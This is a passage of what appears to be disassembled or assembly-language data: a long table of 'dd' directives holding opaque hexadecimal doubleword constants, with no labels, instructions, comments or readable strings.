		dd 80D630B0h, 1A0ECE09h, 0A5952A00h, 0BA8CA436h, 4CA757BBh
		dd 0AE388300h, 923C6B24h, 4844E0A4h, 481A6120h,	90974998h
		dd 0C5228EF0h, 0ACC7472Ah, 57BD3E00h, 303D60B4h, 5EBF06E5h
		dd 487349A9h, 0BD828406h, 8420B3EFh, 9250EE0h, 658F2FA6h
		dd 4018270Ch, 0DC67A074h, 2081E521h, 7182D747h,	89F9448Bh
		dd 0AF0C888Fh, 0D501DF48h, 6D5BC583h, 71832676h, 0CC78B7E9h
		dd 17FF822h, 3E322DF5h,	0C4C83CC0h, 0D66775AFh,	66301DC1h
		dd 74686CFh, 0CE7E9E6Dh, 0AF404CA5h, 0B143E489h, 0A36A8A33h
		dd 2297D890h, 0EE00A210h, 9925E686h, 6B4AF12h, 4777B6D4h
		dd 361DC1CEh, 0D3094349h, 0E3741044h, 0DDBCA8D4h, 47140F1Dh
		dd 9126C06Eh, 0A78799Eh, 5D070F90h, 0D4C4864Eh,	66ADB390h
		dd 0F19609A0h, 2C0495A5h, 90254046h, 0D5E10Bh, 0FBEE98Fh
		dd 0FE09AF3Ch, 2960CD15h, 7CD300C0h, 5F769F8Fh,	2F1F0398h
		dd 3945D45Ch, 1CED2124h, 5951BC8Dh, 59868817h, 8FCF0011h
		dd 3556B3E3h, 0B6E232C5h, 4549D4A6h, 513835A8h,	8C546062h
		dd 1B421E4h, 9405C633h,	412C51B3h, 3176B00Ch, 3CD0100Ah
		dd 0AA485FBDh, 0D250F20h, 7FA120B2h, 1C279F03h,	0D5FBB04Ah
		dd 0AE8F14CAh, 4C233A5h, 27EA4430h, 90B94EC1h, 0C04275F0h
		dd 62AF17A9h, 6033EEDh,	33EF57A6h, 0FD7FB8F6h, 0C2763007h
		dd 7E39C991h, 7098CA00h, 3372C7F0h, 422F32Ch, 0A6760F0Ah
		dd 0B9105E28h, 1BE88639h, 7DE7190Ah, 0FF022CA7h, 0A0E04733h
		dd 54AD30C0h, 0BF4830A9h, 829FC561h, 5FB7DF01h,	0F0C1906Fh
		dd 53211C22h, 0D8E10E80h, 50308826h, 427198AEh,	0BD1E10F0h
		dd 31891864h, 2108D8F6h, 0FE10F142h, 0C17716A5h, 0B5F13029h
		dd 1ECE1180h, 0A8EA38BBh, 2DDE6B00h, 33AEA58Fh,	2CC85042h
		dd 71201FF9h, 41F031C4h, 0E0902538h, 3E03EAA4h,	3C563AEEh
		dd 0B68104FEh, 12BBD5FBh, 8EA90448h, 8281F6CEh,	84CB5A23h
		dd 7C60ED20h, 271AC890h, 796D09FFh, 0A880DD68h,	7517CEBCh
		dd 4126B202h, 0C00BC0BDh, 243A2578h, 3CFAEFh, 0EA9E7288h
		dd 0AC140640h, 37443457h, 86495119h, 631F3BCh, 0E223B586h
		dd 551380C0h, 6C4F6154h, 0BA1A86B0h, 44830818h,	79137EEDh
		dd 1FD13C18h, 0E65F00E2h, 3836D3Dh, 94A4A70Ah, 30777330h
		dd 0F0565E82h, 10986AADh, 3EFD11B4h, 900D1B55h,	91DF9A18h
		dd 3C60578Ch, 0F3CF0192h, 0A6012543h, 489BD04Fh, 0C036762Ch
		dd 0FB57D080h, 3C3BA939h, 0A1FCB780h, 7510A0B0h, 3215BE06h
		dd 3F8DA29h, 25505F4Fh,	0E470E70Fh, 2789ED8h, 4408485h
		dd 0E4E092h, 86764602h,	0C4BCBB15h, 0C8475888h,	0ACAB5E9Dh
		dd 585E0B64h, 4376492h,	0C46A4706h, 90752C10h, 0CDE1854Ch
		dd 40DC1EE4h, 836CBB8Dh, 0FF2625C6h, 0D0001493h, 0E1843B4Ah
		dd 29EB6459h, 0FC4021A9h, 989FC817h, 0E31103FBh, 0A43A4Eh
		dd 3FFD2B32h, 0D0839AF3h, 5FFE5E1Fh, 0B5D1E780h, 0E35996Bh
		dd 1E0A5647h, 8D30A420h, 0A10E3375h, 0AC786Ah, 0BCD6A9DCh
		dd 8812008Ah, 0CCB4E0BDh, 0F97C7491h, 1DC4C607h, 0D300C32Ah
		dd 77AF46h, 59986760h, 0C02B5396h, 9C1D8300h, 88899399h
		dd 0B00C046Fh, 8002FF8Eh, 5006633Dh, 566D2300h,	1416C113h
		dd 0D094A3CAh, 68A7ACh,	5EAA804Bh, 304EDEE6h, 7BC758C7h
		dd 4827ABE0h, 70CF009Ah, 2647A6A0h, 9D0112C9h, 80E67902h
		dd 0FBD8F52Ah, 5EEE008Ah, 0DB671E7Dh, 3409E497h, 80202722h
		dd 462ACD87h, 79DA1CFCh, 0C0A3DCB0h, 9AD5BE11h,	28389CABh
		dd 9BD18A07h, 98BFE856h, 0A7799948h, 0BE270046h, 8315C28Eh
		dd 5E05FEE0h, 7645BF14h, 6F73A04Fh, 0E84C078h, 69B224h
		dd 0D8EE57F7h, 42C0BBCCh, 0EA410C00h, 0ACDB8CE7h, 2E690035h
		dd 0F3315A92h, 6C0FE4D3h, 0E0DC0B88h, 0F9A064Ch, 14AD50EAh
		dd 4FF1000Dh, 93512D01h, 0B93F411Bh, 470980B7h,	0DC75E57h
		dd 0B6A90719h, 69A19AF0h, 0FE07B00h, 59383C36h,	9500F816h
		dd 35B4B8CBh, 0F23CD29h, 2BC74A1Fh, 43A0B14Fh, 0F580AF6Ah
		dd 708BE0E9h, 0BE508400h, 8C42F730h, 59580075h,	0AFF29CB8h
		dd 3200F06Bh, 0F7F418F9h, 0A01E570Fh, 36CC8Fh, 0A42347D7h
		dd 9410FADDh, 0DA4C8D01h, 2753AFA5h, 1F3CFC24h,	81DFD2F4h
		dd 75BDCF5Ch, 490020E5h, 0C6D39610h, 369F001h, 80D86359h
		dd 4FF85119h, 0D65619h,	0DAA3107Ah, 9523B42Ah, 0DEC97003h
		dd 0E8AB4F93h, 0F5776Ah, 529AFE68h, 92F87814h, 38018926h
		dd 0AC3F2200h, 7F6CD084h, 795C3F55h, 0AA111C7Ah, 0ADECC9D8h
		dd 561F0400h, 0D204553Eh, 0F7A40FBCh, 693281C0h, 3F00020h
		dd 8F7B8C18h, 2A01AA6Ah, 0C68E44E1h, 94F86670h,	0E61D0059h
		dd 568CA1EEh, 74F69FD8h, 26A51C01h, 6E3CF872h, 88013321h
		dd 28708EA4h, 925C7786h
		dd 0FA6D0064h, 8FD39594h, 7890E713h, 4CF1E324h,	29488D8Ch
		dd 132C409Ch, 1BB35A07h, 9BC01DD3h, 0BE5952h, 8E0FEB89h
		dd 0C0D2FD51h, 2F1BE201h, 43EFC144h, 0BF324500h, 70540800h
		dd 6A8DB447h, 3B4100CEh, 8A0A209Ch, 0FB059364h,	9F8CF7B2h
		dd 5059FC04h, 0C8B64883h, 7A4FE920h, 0EF732CC3h, 4BC00D3h
		dd 6CDC08F1h, 23CF1100h, 8F1AF9C4h, 4824FC3Dh, 0E005B436h
		dd 69AC50h, 58FC22D6h, 0D40093ECh, 5C029AA7h, 0E60738h
		dd 39BEA2B7h, 1D01538Eh, 319F1F00h, 0D92B7586h,	0FB4D00F5h
		dd 944FD248h, 0C890DFA9h, 6B722401h, 0EAA2B087h, 0DB8880EEh
		dd 1E60401Bh, 4415835h,	0D0D0F1ABh, 62F54810h, 0EAFF310Eh
		dd 5B3407B3h, 5E370029h, 8EBDB2h, 5D18057Bh, 0C6BA499Dh
		dd 2000DCB0h, 90B6E788h, 0E81F21h, 0CC0C696Bh, 5481AA53h
		dd 0B8409405h, 0D807F208h, 0AE10D6F7h, 0FC269E9Dh, 0F397004Dh
		dd 0ADE549FCh, 791FE2EBh, 0DD49275Ah, 333480FBh, 0F31BF8h
		dd 1A43D515h, 0F620470Bh, 7F120100h, 6DE6D68Dh,	0DEE8AAh
		dd 0A9145053h, 5D87A8E1h, 97C97900h, 0D65A69CDh, 0FB840166h
		dd 0E05B2EAFh, 372170E7h, 0C0DD0100h, 34272DC6h, 8D510095h
		dd 5CDFCBF1h, 0D8014B9Dh, 0DBA8FA0Bh, 9CEC930Dh, 0C0E4F433h
		dd 0A6B92A21h, 62CCED4h, 7002265h, 0B4A474EAh, 7C9904DEh
		dd 80B65A16h, 0D59761F1h, 69885601h, 5BC1C933h,	0F7E820h
		dd 0D20963B5h, 0AF5CA8A9h, 7BD54800h, 8F96369Fh, 0BE870BAEh
		dd 0AB809865h, 185FF7DAh, 0B409EE00h, 0C7D740AAh, 7C109BAh
		dd 90002D8Ch, 46E763B7h, 0FE70B301h, 36555406h,	395D0D8h
		dd 0AA664059h, 0C567F2h, 0CE121DFCh, 0F40094A2h, 0E4053261h
		dd 1D4C4E0h, 0E95D667Bh, 20D0A588h, 0C1279B7h, 0C81E981Dh
		dd 0A2493F87h, 9945D00h, 49D5D0Bh, 29077B00h, 0ACCB831Ch
		dd 0A150D709h, 0B200029Ch, 0DB18E8D4h, 0EB0F07FEh, 0B04A3CB6h
		dd 148F2239h, 36AD7302h, 408CC5C3h, 3C12B358h, 96042BA1h
		dd 9117D96Ch, 0C19A0DF8h, 8204347Dh, 0F88F4102h, 401698DCh
		dd 0E817901Ch, 2EAECE2h, 1315EFDh, 0C0C0ACE8h, 2E003F39h
		dd 2BB89765h, 0F141AB5h, 7BD12F8h, 8029600Bh, 0D1B9AC00h
		dd 8C004045h, 25317C1Fh, 94ECAFh, 109C7F6Bh, 26DE0C08h
		dd 7175BF00h, 0E2448B0Ah, 0CE2700EFh, 35736288h, 5B04D2B9h
		dd 1BF03033h, 0E2E67CC3h, 0EF8087D8h, 2FB06B5Fh, 39DFA0E4h
		dd 4F5427h, 0EF6F12D7h,	0F49A4CE7h, 0F77C7703h,	0D30B4BA3h
		dd 4A1E8049h, 578900AFh, 2A75F44h, 0B8A1E913h, 0CDE0EFBDh
		dd 0C601E65Bh, 0EAFE8295h, 85C0A073h, 3E1132Bh,	6DD60F7Eh
		dd 15AE9580h, 0B9005F4Fh, 0BD96D390h, 39D9C1BBh, 29619ADh
		dd 5BC9006Ah, 0E1805973h, 53F3BC0Fh, 0AE0F4BA2h, 0A3836064h
		dd 7DE9612Ch, 78B20348h, 45441376h, 0DA1282C8h,	89669C00h
		dd 0B7E0ABCBh, 0B64F48BBh, 0B8C52600h, 0A0E7B41Fh, 81836F01h
		dd 0EAA5F696h, 0E9F4B821h, 92BCF2BDh, 0EFBF401Ch, 1D9DB201h
		dd 5925FDABh, 3D75D6E4h, 1085282Ch, 7B8089h, 0D1F72DF1h
		dd 0D2000ACBh, 2C77A0EBh, 5CF581h, 0BCCDA1E7h, 9EAF41C7h
		dd 12982500h, 0E1BA02FAh, 0B9620955h, 7040C971h, 3C495A4Dh
		dd 7ABA010Ch, 82B10DA8h, 63C0E1D0h, 8AB01880h, 0AEDB1011h
		dd 18009A3Ch, 5E153FC1h, 2158DF3Dh, 0E12502ACh,	8072B8A5h
		dd 54491930h, 0A3B50092h, 6539EF3h, 100E2F30h, 869050C2h
		dd 550AEDAh, 4E4DB116h,	0B8480586h, 4B240A6Dh, 83DA07FBh
		dd 4DDB41B5h, 90144385h, 0F86CBDF1h, 0AA0C88A9h, 0D0F82901h
		dd 4EE100C8h, 2E71B8D5h, 12608DC0h, 3E89ADB0h, 0CD450670h
		dd 49B01A60h, 70CAD430h, 94FA64C6h, 48B408D0h, 0DE61E104h
		dd 4485E4A0h, 192024BDh, 14A85094h, 0A1DC445Ch,	16322284h
		dd 1EBBBC45h, 46DB1900h, 7BC86BB2h, 58052301h, 0A8CB92EBh
		dd 671720h, 0BDC9EF52h,	8EAD90C3h, 16024E00h, 85289C26h
		dd 594B07Dh, 39048062h,	0B49080E2h, 5C2E1A82h, 0DD84306Ch
		dd 0E900E6A2h, 9679AFF9h, 30D01A26h, 0B8682400h, 375E54DCh
		dd 0F429C849h, 0D440D12Bh, 0C9B064AEh, 8D475900h, 0EC84DFEAh
		dd 0B068066Bh, 68A71AF5h, 0F2A45300h, 2CB6B898h, 0A3B706B5h
		dd 46F6DB2Ah, 53D7B300h, 0B1558F4Bh, 3FE0009h, 21E4BED1h
		dd 0BEA0523Dh, 0AC00A6E8h, 1751E556h, 0E2A7735Ah, 7238B850h
		dd 543139F3h, 0F0586728h, 82EF001Dh, 7173C1A4h,	4424F238h
		dd 0B60018C5h, 8D10775Fh, 76ED0045h, 6799D51Eh,	0D002170h
		dd 30B5FED6h, 6F754Ah, 0B01C2C78h, 7A709DEBh, 80049138h
		dd 0D3EC03E8h, 12F25D77h, 0ED995Ah, 11BD8BDCh, 91F0418Fh
		dd 80E8535Ch, 0EB7B4038h, 0E17D009Ch, 4C280701h, 6B1CEEE5h
		dd 62813948h, 124D8FB2h, 8FACCC4h, 0B8F98DFBh, 2CDB0Fh
		dd 0EB3F8904h, 8FC50087h, 1B756C9Fh, 0E400EDB9h, 5072B033h
		dd 79D2520Dh, 0F3023ECEh, 0E5D58D00h, 61B8FAB2h, 0A31058B0h
		dd 0D000C899h, 0ABEF2BBBh, 0ED0BB430h, 9E88040Bh, 774C009Ch
		dd 0E2A11C30h, 0FCA4D56Ch, 0BCA1027Eh, 10B4E861h, 0D41EAC07h
		dd 0BA90BD16h, 3C8E3E82h, 2ABF4CF4h, 88338595h,	0CE75B101h
		dd 0F53E0E82h, 98282497h, 0FAD50B00h, 6243BE28h, 9E0801A3h
		dd 0FFAB716Bh, 0B9582075h, 0CB7F6EF2h, 0DF5C0200h, 500A853Eh
		dd 0B1A30013h, 0FBECE59h, 0C13160C6h, 7BA1F615h, 288FAF0h
		dd 6993FB97h, 0E2871A76h, 0B3410E56h, 8BE1F317h, 0EE3E98h
		dd 0A0BA8BF8h, 1D0500FFh, 0D77BD1F0h, 139B93Ch,	8D5700ECh
		dd 0CDBDB037h, 829901F7h, 0AD683219h, 767820D6h, 8E722500h
		dd 0A1CB9FDFh, 0B22A00B9h, 113C690Fh, 2F25FAC8h, 9B348106h
		dd 0D7600212h, 7289078h, 462D6934h, 8C20F9A5h, 0D6239048h
		dd 0AE06EE00h, 7CD34228h, 302701DAh, 0BA9A40E5h, 0A4C4606Dh
		dd 97E86B26h, 1E03B826h, 0A97610BCh, 87E8A31Ah,	3C81017Ah
		dd 7CEA616Dh, 3FE824FBh, 9F9E20h, 1F7379BDh, 0AA11B1EBh
		dd 0C696A203h, 0C00EB2h, 97C31420h, 1E5974FCh, 6A8FBB0Ah
		dd 39009C2Eh, 530A46E0h, 0BE8C1FDAh, 0DBC80CDh,	0F628C910h
		dd 372F1C79h, 17F40F85h, 5E50F30Fh, 5EB6AD40h, 3DA75A14h
		dd 160061AFh, 8AF0F53Fh, 38122FB4h, 53005C6Ch, 50BAB0DDh
		dd 27E244h, 0B8142CC4h,	599B321Ch, 8C0EF48h, 517CCBh, 0A757653Ah
		dd 4C766C90h, 0E2BE4A18h, 70D4B8F0h, 7020623h, 19A0DFC4h
		dd 2C165Ch, 0B8100CA6h,	3EC97605h, 4380BF61h, 9E64334Ah
		dd 450012A8h, 0C5650DD2h, 0E6250549h, 5A861EAAh, 72EF80F1h
		dd 35DC5BEEh, 0C1240B0h, 0E0C06292h, 12857388h,	4F6FDBh
		dd 95B133F2h, 0F5002968h, 13F907AFh, 8381B5h, 9424D5F3h
		dd 0A6780C43h, 5DC50807h, 2080410Ah, 1FA8122Ah,	4206903Ch
		dd 19FAEE73h, 0AD7E3CF0h, 31EAA109h, 7FF0A38Ah,	72ECD82Ch
		dd 0B7D60020h, 0F82E9623h, 530E26FFh, 6D697AE0h, 4A20B19Eh
		dd 0B6E480h, 8438668Ah,	13C0D7B0h, 98461F00h, 23BADB64h
		dd 85BB020Fh, 0F9DD8771h, 0E23EC2E0h, 755FD900h, 0E4EF3251h
		dd 0C8340B1Eh, 3C00E6C4h, 0DCD746F8h, 70004A98h, 36FA496h
		dd 12D5044Dh, 0FF36031h, 0E9427424h, 3840FAD3h,	0CCFA7F53h
		dd 11B3B500h, 0C0644F52h, 2D1002A4h, 8E1EA071h,	3E96C680h
		dd 811D861Ah, 0A5C7824Eh, 56D1A91Bh, 51202519h,	395400E9h
		dd 0FE5ECF79h
		dd 0BA008FDFh, 73BE7DA8h, 4B490Fh, 9A114C1Ch, 337E4E65h
		dd 9BFFEC05h, 0B0001250h, 0E0DB5990h, 503A7835h, 3DE8E8ADh
		dd 675F3A4h, 14643F38h,	922C18AEh, 97185E32h, 6B41329h
		dd 7C011D57h, 7B4CD8A8h, 910903F8h, 0F011E378h,	770EE075h
		dd 0F2A7005Ah, 73449235h, 3D0B07B5h, 226C23h, 0C8A2DB50h
		dd 70BE00E9h, 0ACCD89D7h, 0B3065F37h, 6D99E2BCh, 0B6190970h
		dd 36059D3Dh, 0A8940068h, 394C30FFh, 0A2F55F00h, 35D0FD40h
		dd 48C10003h, 6347849Ah, 240568F8h, 570DEAFEh, 68808784h
		dd 0CFD35Eh, 0E7F2B7E3h, 452CC88Ah, 0DD411300h,	752450DBh
		dd 39FC00F7h, 4D8BA54Eh, 1A00AE47h, 0D11545F5h,	0F77D23h
		dd 86209365h, 0ACDA4A08h, 37777807h, 0FB83F421h, 88D1A8AEh
		dd 0E7D00A7h, 27B3047Ah, 6C029C4Ch, 8B2CE876h, 69A860FBh
		dd 0A6710Eh, 1D2B06D9h,	8C4686A9h, 0F1ECD000h, 4DE0D6ACh
		dd 0CCBD000Bh, 835E1340h, 0E8001576h, 0B71832C8h, 0C32EE3h
		dd 0F25418Dh, 10975FBAh, 0FCDD9400h, 1B12F398h,	0D660252Ah
		dd 622B2001h, 0C82C6032h, 43A7C300h, 75369D39h,	824001Ch
		dd 937F98E4h, 0DDF69E66h, 0C292F800h, 9FF76A6Ch, 0EA113855h
		dd 5A809D80h, 78B79BD4h, 8D0154Ch, 440EC6Eh, 9357E3D9h
		dd 9AC8D1D8h, 4009C21h,	4F330802h, 0F4BB34DCh, 1AAC03C5h
		dd 828C868Bh, 0F87A9BD8h, 0F6ADEC00h, 60BB4846h, 816C0008h
		dd 0CF474A5Bh, 72074C3Dh, 0D9511257h, 9942E9C1h, 0B337D880h
		dd 44D41007h, 3FA509Ah,	945B6916h, 0FD000C52h, 0C1B8E06Eh
		dd 255CE0D3h, 4882BB79h, 6C6691B5h, 0B4827800h,	0D48F7BD7h
		dd 5409704Ch, 17C8A036h, 478EEDh, 839AF58Eh, 7E00D768h
		dd 0DC32BCD8h, 1896F9h,	85FB8ED4h, 62CCA82Eh, 0AC47E600h
		dd 1265C8C2h, 0D25006Dh, 0B1134AF1h, 834A4E50h,	0F9EAF045h
		dd 0B58068D7h, 3A31E36Bh, 0DC0EA5B9h, 6CC96755h, 5F436864h
		dd 8A40A222h, 818C4574h, 0D83D2C18h, 5BFCD379h,	8964004Eh
		dd 0B8B624AEh, 0BB000543h, 7C4DF014h, 60BCDEFCh, 5AE088CCh
		dd 0CE02300Ah, 712FE36Ch, 4098A0C5h, 0F04F925Ch, 26B20C5Bh
		dd 6E78B915h, 0F1D13E00h, 4DA6F63Ah, 35300307h,	3914E2C7h
		dd 2DDDC801h, 8AAEC589h, 0B6B2842Ch, 92244200h,	1F2B820h
		dd 326A8184h, 0F01437B5h, 0DEE11ECh, 0C470E200h, 98587336h
		dd 575B91h, 0CC260EC8h,	0DA006A82h, 48011E9Fh, 0FB421Bh
		dd 9051BCB8h, 0AE245DA8h, 7D189900h, 5A5BDFDCh,	8DE80092h
		dd 0FB88EF38h, 8B7BDE78h, 6094260Ch, 344301Dh, 0E9418A58h
		dd 0BCD4B67Ch, 0BE0490BCh, 0C89AD8B1h, 0D931757Fh, 5EE11822h
		dd 222870CAh, 3A22B649h, 51642011h, 0D7FFE119h,	0F6085529h
		dd 84980F44h, 42D5FC22h, 64CB4871h, 0D8212C29h,	0B5FD11DAh
		dd 120CEA11h, 0CF5B1020h, 84C638Ah, 93E86529h, 0D6845410h
		dd 422548CCh, 4824E4A4h, 12C74D21h, 1E3C83C1h, 0DC2911DEh
		dd 0CBAA1150h, 0DB1CCD21h, 28105062h, 0E9C844BAh, 14745084h
		dd 7C228404h, 1A08F7C9h, 0A0B8F944h, 89BCF43Ch,	403D1191h
		dd 0B82713C8h, 953800FBh, 0AA61AA2h, 5800ABFEh,	0CD978175h
		dd 40BDFFh, 0CCCF8EEFh,	37650363h, 40084BCh, 5B48562Fh
		dd 1817B035h, 249D5CFDh, 55006C10h, 47BF15C3h, 7992E4F3h
		dd 13685F8Eh, 0AF30054h, 84B58C28h, 0AD23B70Fh,	0A17B2F51h
		dd 3A26A99Ch, 4A8D0FCh,	0FCA3E369h, 2BA8C84Fh, 112ADA1Dh
		dd 0BF4D66C5h, 44BB0C90h, 14C239A6h, 0B75ECE02h, 0E11AA0h
		dd 906080C1h, 568E473Ch, 29980E3h, 4ACC7308h, 44B208A0h
		dd 841F9780h, 0A86EF4h,	0B892F226h, 0E42DB536h,	28644960h
		dd 2C132FBFh, 3B4E3AAh,	59713984h, 0B9C6D5B8h, 55E1D10Dh
		dd 0ADE498DAh, 4569005Bh, 77E7EB3Eh, 7103F86Dh,	4976378Eh
		dd 0DFF4C89Ah, 0C18B0099h, 3093F90h, 7500201Bh,	0BD39C841h
		dd 800870h, 1A4328CFh, 9918488Fh, 387F841Dh, 5A95CE40h
		dd 83298Eh, 0D4448821h,	349F3B3Eh, 45D1B000h, 0DB65AD74h
		dd 50B70070h, 0D0AB87CDh, 0C1ED659h, 3A0546C9h,	8000E132h
		dd 17492C51h, 0D80D00BBh, 269EA98Ch, 0EA3F0EBAh, 7D8901B7h
		dd 0C213D183h, 12AA9470h, 806FC073h, 0DB82E358h, 728AB800h
		dd 0E5818F2Ch, 0CFC48D7h, 0E3AF5F00h, 4410496Ch, 6000E071h
		dd 0D2F41874h, 1F1AB2DAh, 407C50FDh, 0D6A3F730h, 910E848Eh
		dd 0E13FA813h, 0C778C847h, 49A870h, 3D7E6D23h, 3304AB12h
		dd 0EC0D481Dh, 843FC86Eh, 3910CB2Eh, 0B6D740B0h, 79308F54h
		dd 0E9B62DC0h, 4300D3ADh, 144EA53Bh, 1DD7A0A4h,	811E290Ch
		dd 0D4A1CE7Fh, 9E6EC70h, 2A5D3A00h, 0E2D6428Eh,	4672005Eh
		dd 80F4EE33h, 6E15DBA2h, 73E8309Bh, 98EAF504h, 0A787C28Ah
		dd 71E4640h, 0B7263A0Ch, 4009F81Dh, 0E27837E6h,	0D0008B15h
		dd 0DF5788DBh, 0A8DDA7h, 36295473h, 0C18DF7DEh,	0E5E6A00h
		dd 95DBEF2h, 12F5017Ah,	0D0FDD4AEh, 33C43095h, 412A6A0Fh
		dd 0CFBB23D6h, 1ED1B74Bh, 1468247Dh, 7B77A001h,	392E966Eh
		dd 727400D0h, 193D97FFh, 0A62203F2h, 0A3CC6288h, 0A50E80D8h
		dd 23F62600h, 0D7327649h, 8C160786h, 517DC8E6h,	0EBDF5508h
		dd 0E8C6A9E7h, 0B3008072h, 0A5B45BCFh, 3F19FBF6h, 2B81AAC7h
		dd 2FC049Ch, 2C283Bh, 19F89FBAh, 86DC09h, 98779B3Fh, 0E69A45CDh
		dd 5900B0B8h, 10BDB7ACh, 1E3C07E1h, 683857h, 585FE4E5h
		dd 7800172Dh, 0EFA01DF9h, 0E84F09D1h, 896500CCh, 34980A2Bh
		dd 6700D703h, 2076E958h, 0DE4EFAh, 0DF8D5A7Dh, 97251B2Ah
		dd 0A1C3CB00h, 0BA41CE67h, 40E60037h, 7E222E29h, 43B64D2h
		dd 74150052h, 9EF87DD5h, 0F6AE043Ah, 0C0CF6C31h, 96C0161Ch
		dd 0C00704Ah, 39B4FED6h, 81D02747h, 51152880h, 8F07D4AAh
		dd 0FFC0C98h, 5AD07D30h, 27647131h, 0B08FA447h,	793AD2C0h
		dd 0DF0093F7h, 871DD6Bh, 5A86FEh, 4AF601Fh, 295D913h, 0FC7725h
		dd 0DBCD7DC0h, 50FF1F71h, 0FD67CCE9h, 460073DCh, 0EE0F559Ah
		dd 1C7F485Dh, 0B866ABh,	0EF2F52A6h, 0B0009D57h,	0DF81EC33h
		dd 3F73A337h, 0F50D4Ch,	5ECA510Bh, 0F7EA3170h, 0BF7CA1F8h
		dd 38037809h, 0B1C80091h, 79FC0796h, 0FA130054h, 7A666B82h
		dd 5B00B646h, 9B975F03h, 0B1BC1E8h, 67F21A74h, 9E3D6700h
		dd 1D00E078h, 5CE69F85h, 26E6534h, 31F20AF6h, 1C54D8FEh
		dd 449C980h, 3BA82Eh, 0EEA04420h, 41343E6Dh, 3F13E077h
		dd 98C06C58h, 3DECC925h, 77000E31h, 30A844EFh, 430352C0h
		dd 0BE223F95h, 5F01A7B2h, 4CCAF3Dh, 18EB006Dh, 64BC0DB5h
		dd 8301DD10h, 0B47E47DBh, 13F978Ch, 957D96C8h, 0E3496092h
		dd 0D8EDB700h, 30602972h, 0B0879743h, 6B6A80CFh, 0CE0F0521h
		dd 0C025B106h, 26DD99D4h, 4CE1002Fh, 0C3E01796h, 0B4900D34h
		dd 7C37B200h, 0B1F00FFFh, 2FEE002Dh, 0AEDEB72Ch, 0ED77C6BEh
		dd 404D771Dh, 2211CDC0h, 1274A125h, 0F4B6EE1Eh,	7D00EA30h
		dd 0B48E072Dh, 1BB339Bh, 0AA2373E1h, 0D490FB36h, 21FEB538h
		dd 8CE84300h, 2CBFA3C6h, 0E93600B2h, 5C2D081Eh,	8A0072AAh
		dd 3EBD8DD7h, 1DA615Bh,	503FED81h, 0FB27CDFCh, 1C60A016h
		dd 8E492D03h, 7488987Dh, 7C540026h, 2D8C43EBh, 6AB0B49Fh
		dd 0A1D519C3h, 0B07DC8C8h, 93B0029h, 27DEC4D7h,	6B009383h
		dd 0AC72B22Dh, 1EF3F46Fh, 0C9BCF68Bh, 80A7361Ch, 327E3019h
		dd 95014637h, 85BB5599h, 86808676h, 6952B1F6h, 4C399793h
		dd 20CF167Ah, 0EC0009h,	6AD68517h, 24580106h, 0B3E07710h
		dd 728687Eh, 0AEC3DABBh, 2791A530h, 231900BDh, 79821DB3h
		dd 7100D57Fh, 0BE450F52h, 0A56853h, 58D6A9EFh, 0B0877766h
		dd 0D9ABE317h, 72294701h, 0D4407C7Ah, 527162Fh,	0EC20669Bh
		dd 0D05787B0h, 0EBF93C7Dh, 1000727Ah, 975EC60Eh, 48FD251h
		dd 0F1D94359h, 3C90C0AAh, 1B8DBE1h, 0A85BA01Dh,	6D3ADD00h
		dd 4B1E28h, 0C80536E6h,	18D38E51h, 4798F71Ch, 6052033Dh
		dd 0C82D86EBh, 9C505Ch,	0F0F13892h, 8BA70951h, 0DA34700h
		dd 0D58F40E9h, 579301E5h, 4950E45Eh, 0F2687462h, 0E1A839h
		dd 0B9CF8876h, 14B182F7h, 0AC1FDC17h, 0B200CE4Eh, 0D5B030EFh
		dd 0C3015CF6h, 550D6643h, 52D86265h, 0DCE70AF8h, 0B43DD7h
		dd 75D9F651h, 0C15CAEFAh, 87282FF0h, 33C2FE64h,	0A09AE0E2h
		dd 0E7D51330h, 2F7800ACh, 61648CB6h, 5D089701h,	553F75E6h
		dd 7BAFD0h, 8DC78423h, 6C9C569Eh, 288ED300h, 0C888FD87h
		dd 897503BCh, 94EB7EA1h, 1B2980A0h, 0B8695900h,	0BBCD8AACh
		dd 6A5C3CE7h, 0C4DED20Eh, 0ADD6DF00h, 27000AFAh, 0AB212971h
		dd 7099E0h, 33D0DA2Eh, 7E0BDD8Eh, 0B0A02B71h, 899798A8h
		dd 80047904h, 0CAA38F8Dh, 4E00E113h, 378A6FAEh,	13FC0601h
		dd 1FD6E548h, 0F32E40BDh, 0C3C5BDE0h, 0C79A9002h, 81F0713Ch
		dd 62BA6CB0h, 0CFC05C22h, 5ECDB9D3h, 0D261F0C0h, 587F5074h
		dd 951444F3h, 3701F4E2h, 0B6FD1B60h, 1FD1D43Bh,	0D90CEBB0h
		dd 60E9AF0Eh, 1917006Fh, 838BC735h, 973CE65Ah, 5DD5808Eh
		dd 0B252DC5Bh, 0CDF5002Eh, 1FB0EAABh, 0C5301641h, 27406856h
		dd 0A630004Dh, 34B79D5Ch, 730094E1h, 837C1417h,	3DFD167h
		dd 5CA7AB6Dh, 82909121h, 0B3247B01h, 32009CC0h,	67B7EA19h
		dd 1F9702C8h, 0F36855B1h, 1CAFA440h, 72842800h,	4CFAD62Ah
		dd 0D9570018h, 0DC7977A9h, 1204F2B8h, 81783213h, 0E31FFCFCh
		dd 86918E9Ah, 0BBDF4C00h, 6E00E4F1h, 3F2C542Dh,	0C7D0DCh
		dd 7F661DCBh, 4ACAB135h, 0AF220403h, 0A8C98DE7h, 2F8F533h
		dd 6FF41B92h, 0FC610C30h, 1398F0A6h, 0E9AC8397h, 23B491AAh
		dd 0E8C8C8h, 6CE6EBBAh,	1187CB7Ch, 0D6A64B01h, 12B7C013h
		dd 98002CBBh, 26A2C966h, 0A0A25AD2h, 0F91F9068h, 9D4311C0h
		dd 1EF4E81Eh, 53098D91h, 48E08004h, 0A80010B5h,	9E80AD66h
		dd 294AFA1h, 32DA82F8h,	0D4C00B5Dh, 13F8084Ah, 0E13B9E00h
		dd 0AD010E84h, 0D17F0399h, 0BE55A726h, 3BCF2839h, 712F00C2h
		dd 0F67240A0h, 0B860012h, 0ACA67AAFh, 0FB1FF9B6h, 0E3522A80h
		dd 1C290B0h, 8E3E14C1h,	0C455FCBDh, 8B006DFBh, 69DE4812h
		dd 0C95D4C0Dh, 0C0F91BB1h, 0D8F58D43h, 7EEFE07Ch, 580C0B3Bh
		dd 4C82AD74h, 0DA61DA65h, 0E61180EEh, 0F510D5Bh, 22DB00C9h
		dd 6D25E03Ch, 69009A49h, 2080F8DAh, 6E91A9h, 4DFB012Ch
		dd 4BF374B2h, 47E01D04h, 4CED8BADh, 57B411h, 0F7311CD2h
		dd 18081A42h, 7083B17Dh, 8118192Ch, 0A9112FFBh,	7E4F008Eh
